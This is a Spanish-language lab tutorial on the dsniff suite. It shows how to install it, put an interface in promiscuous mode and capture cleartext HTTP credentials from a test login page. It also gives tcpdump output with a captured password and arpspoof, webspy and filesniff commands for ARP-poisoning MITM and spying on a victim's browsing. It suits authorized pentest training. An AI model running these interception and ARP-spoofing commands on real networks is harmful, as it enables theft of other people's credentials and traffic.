

Dsniff

Dsniff es una colección de herramientas esenciales para la auditoría de red y las pruebas de penetración, que se centran principalmente en la **intercepción de tráfico (sniffing)**. Incluye herramientas como dsniff, filesniff, webspy, y sshmitm.

Guía de Instalación y Uso de Dsniff (Suite)

1. Instalación de Dsniff

Dsniff requiere algunas librerías específicas que pueden no estar instaladas por defecto y a veces presenta dependencias problemáticas en versiones recientes de Ubuntu. La instalación a través de los repositorios es la forma más sencilla.

1. Actualizar el índice de paquetes:

```
sudo apt update
```

2. Instalar Dsniff:

```
sudo apt install dsniff -y
```

Si tu sistema ya tiene el paquete dsh, puedes experimentar un conflicto de nombres. La instalación de dsniff puede requerir la desinstalación de otros paquetes que usen el nombre.

2. Configuración Esencial (Modo Promiscuo)

Para que Dsniff (y sus herramientas como dsniff y arpspoof) pueda capturar todo el tráfico de la red, su interfaz de red debe estar en **Modo Promiscuo** (Promiscuous Mode).

1. Identificar su interfaz de red:

```
ip a  
# Busca tu interfaz principal, ej. eth0, enp0s3, etc.  
enp0s3
```

2. Habilitar el Modo Promiscuo:

Reemplaza <interfaz> con tu nombre de interfaz (ej. enp0s3).

```
sudo ip link set dev enp0s3 promisc on
```

3. Puesta en Funcionamiento y Ejercicios (Herramientas Clave)

Dsniff es en realidad una suite de programas. A continuación, se detallan los usos de las herramientas más importantes.

Herramienta A: dsniff (Captura de Contraseñas)

dsniff captura y muestra las contraseñas que pasan por la red en texto claro o en formatos débiles (como NTLMv1 o login básico HTTP/POP).

Objetivo	Comando
Monitorear la interfaz	<code>sudo dsniff -i <interfaz></code>
Guardar en un archivo	<code>sudo dsniff -i <interfaz> -w contrasenas.log</code>

Prueba de Ejemplo:

1. Ejecuta `sudo dsniff -i <interfaz>` en tu terminal.
2. En otra máquina de tu red, intenta iniciar sesión en un servicio antiguo (ej. un sitio HTTP sin cifrar) o un servicio vulnerable.
3. Si las credenciales se transmiten en texto claro, dsniff las mostrará.

Paso 1: Configurar el Servidor Web (Apache)

Instalaremos Apache2, el servidor web más popular, en tu máquina Ubuntu.

1. Instalar Apache2:

```
sudo apt update
```

```
sudo apt install apache2 -y
```

2. Configurar el Firewall (UFW):

Asegúrate de que tu firewall UFW (si está activo) permita el tráfico web en el puerto 80 (HTTP).

Habilitar el perfil completo para Apache (incluye HTTP y HTTPS)

```
sudo ufw allow "Apache Full"
```

Recargar el firewall

```
sudo ufw reload
```

3. Verificar el Servidor:

Abre tu navegador en Ubuntu y escribe <http://localhost>. Deberías ver la página de bienvenida de Apache, confirmando que el servidor está funcionando.

<http://localhost>

Paso 2: Crear la Página de Inicio de Sesión HTTP

Vamos a crear un formulario de inicio de sesión simple que enviará el nombre de usuario y la contraseña en texto plano (HTTP) al servidor.

1. Navegar al directorio web:

El directorio raíz de Apache es /var/www/html/. Primero, elimina el archivo predeterminado index.html para reemplazarlo.

```
cd /var/www/html/
```

```
sudo rm index.html
```

2. Crear el nuevo index.html con el formulario:

Usa el editor nano para crear el nuevo archivo.

```
sudo nano index.html
```

Pega el siguiente código HTML. La clave es el atributo `action="login.php" method="POST"`, que enviará las credenciales por HTTP:

HTML

```
<!DOCTYPE html>

<html lang="es">

<head>

    <meta charset="UTF-8">

    <title>Servicio Vulnerable de Prueba</title>

    <style>

        body { font-family: Arial, sans-serif; text-align: center;
padding-top: 50px; }

        .login-box { width: 300px; margin: 0 auto; border: 1px solid
#ccc; padding: 20px; }

        input[type="text"], input[type="password"] { width: 90%;
padding: 10px; margin: 5px 0; }

    </style>

</head>

<body>

    <div class="login-box">

        <h2>Inicio de Sesión (HTTP)</h2>

        <p style="color: red;">⚠️ ADVERTENCIA: Esta conexión NO es
segura (HTTP).</p>

        <form action="login.php" method="POST">

            <input type="text" name="username" placeholder="Usuario"
required><br>

            <input type="password" name="password"
placeholder="Contraseña" required><br>

            <button type="submit">Iniciar Sesión</button>

        </form>

    </div>

</body>
```

```
</form>

</div>

</body>

</html>
```

Guarda el archivo (Ctrl+O, Enter) y sal del editor (Ctrl+X).

Paso 3: Ejecutar la Prueba

Ahora puedes configurar el monitoreo en Ubuntu y la simulación de inicio de sesión en Windows.

A. Preparar dsniff (Máquina Ubuntu)

1. **Identifica tu Interfaz:** Averigua el nombre de la interfaz de red que conecta tu Ubuntu con la red de Windows (p. ej., eth0, enp0s3).

```
ip a
```

2. **Ejecuta dsniff:**

```
sudo ip link set dev enp0s3 promisc on
sudo dsniff -i <tu_interfaz_de_red>
sudo dsniff -i enp0s3
```

Deberías ver una línea que dice dsniff: listening on <tu_interfaz_de_red>.

B. Ejecutar el Inicio de Sesión (Máquina Windows)

1. **Obtener la IP de Ubuntu:** En tu máquina Ubuntu, obtén la dirección IP que Windows usará para acceder al servidor web.

```
hostname -I
```

Ejemplo: 192.168.1.44

2. **Acceder al sitio desde Windows:** En el navegador de Windows, ingresa la dirección IP de tu Ubuntu **usando HTTP:**
3. `http://<Dirección_IP_de_Ubuntu>`

Verás la página de inicio de sesión que creaste.

4. Iniciar Sesión y Capturar:

- En la página web de Windows, ingresa un **Usuario** (ej. testuser) y una **Contraseña** (ej. secreto123).
- Haz clic en "**Iniciar Sesión**".

C. Resultado en Ubuntu

Inmediatamente después de enviar el formulario en Windows, la terminal en tu máquina Ubuntu (donde se está ejecutando dsniff) debería mostrar las credenciales capturadas en texto plano, confirmando el éxito de la prueba.

Ejemplo de salida de dsniff:

...

192.168.1.10 -> 192.168.1.5 (http)

USER: testuser

PASS: secreto123

...

Si dsniff no captura, (ni siquiera el tráfico de Windows) indica que el problema **no es la red ni la configuración de la interfaz**, sino un fallo en la herramienta dsniff o en la forma en que el tráfico es manejado por el *kernel* local.

Si dsniff está fallando, la mejor manera es utilizar una herramienta de captura de paquetes de bajo nivel, como **tcpdump**, para confirmar si los paquetes HTTP con las credenciales están llegando a la capa de red del sistema operativo de Ubuntu.

`sudo tcpdump -i enp0s3 -A port 80`

```

feval@feval-VirtualBox: $ sudo tcpdump -i enp0s3 -A port 80
[sudo] contraseña para feval:
tcpdump: verbose output suppressed, use -v[v].. for full protocol decode
listening on enp0s3, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:43:11.002376 IP 192.168.1.38.60730 > feval-VirtualBox.http: Flags [S], seq 3016274237, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
E..4W.0...2...8...::P...=.....
10:43:11.002540 IP feval-VirtualBox.http > 192.168.1.38.60730: Flags [S.], seq 851804940, ack 3016274238, win 64240, options [mss 1460,nop,nop,sackOK,nop,wscale 7], length 0
E..4W.0...0...8...::P...=.....
10:43:11.003541 IP 192.168.1.38.60730 > feval-VirtualBox.http: Flags [., ack 1, win 255, length 0
E..(w).0...&P...>...P...=.....
10:43:11.003545 IP 192.168.1.38.60730 > feval-VirtualBox.http: Flags [P.], seq 1:539, ack 1, win 255, length 538: HTTP: POST /login.php HTTP/1.1
E..0W.0...0...8...::P...=>...P.....POST /login.php HTTP/1.1
Host: 192.168.1.39
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://192.168.1.39
Connection: keep-alive
Referer: http://192.168.1.39/
Upgrade-Insecure-Requests: 1
Priority: u=0, l
username=usertest&password=password1

```

Herramienta B: arpspoof (Ataques Man-in-the-Middle - MITM)

arpspoof envenena la caché ARP del *gateway* (router) y de la víctima, redirigiendo el tráfico de la víctima a través de su máquina. Esto es esencial para que la mayoría de las herramientas de Dsniff funcionen en una LAN conmutada.

- 1. Habilitar el *IP Forwarding* (Para que los paquetes sigan su camino después de pasar por ti):**

```
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
```

- 2. Identificar IPs:**

- **Gateway (Router):** <IP_del_Router> (ej. 192.168.1.1)
- **Víctima:** <IP_de_la_Víctima> (ej. 192.168.1.50)

- 3. Ejecutar el Ataque (En dos terminales separadas):**

- **Terminal 1 (Engañar a la víctima para que envíe tráfico a usted, haciéndose pasar por el router):**

```
sudo arpspoof -i enp0s3 -t <IP_de_la_Víctima>
<IP_del_Router>
```

- **Terminal 2 (Engañar al router para que envíe tráfico a usted, haciéndose pasar por la víctima):**

```
sudo arpspoof -i enp0s3 -t <IP_del_Router>
<IP_de_la_Víctima>
```

- 4. Ejecutar Dsniff:** Ahora que el tráfico fluye a través de ti, ejecuta dsniff (o cualquier otra herramienta) en una tercera terminal para capturar los datos.

Herramienta C: webspy (Seguimiento de Navegación)

webspy le permite ver en tiempo real, en su propio navegador, las páginas web que está visitando un usuario en la red. **Solo funciona con tráfico HTTP (no cifrado).**

1. **Pre-requisito:** Debe estar ejecutando el ataque **arpspoof** (Herramienta B) para redirigir el tráfico de la víctima hacia su máquina.
2. **Ejecutar webspy:**

```
sudo webspy -i <interfaz> <dirección_IP_del_Host_a_espiar>
```

```
sudo webspy -i enp0s3 192.168.1.38
```

3. **Observación:** Abre tu navegador. webspy debería abrir automáticamente nuevas pestañas que reflejan las URLs visitadas por la víctima.

Herramienta D: filesniff (Captura de Archivos)

filesniff monitorea la red para detectar y reconstruir archivos que se transfieren a través de NFS y SMB (protocolos de compartición de archivos).

Objetivo	Comando
Capturar archivos	<code>sudo filesniff -i <interfaz></code>

Nota de Seguridad: Dsniff es una herramienta poderosa y debe usarse **solo en entornos controlados y con permiso explícito** para pruebas de penetración o auditorías. Usarlo en redes que no le pertenecen es ilegal.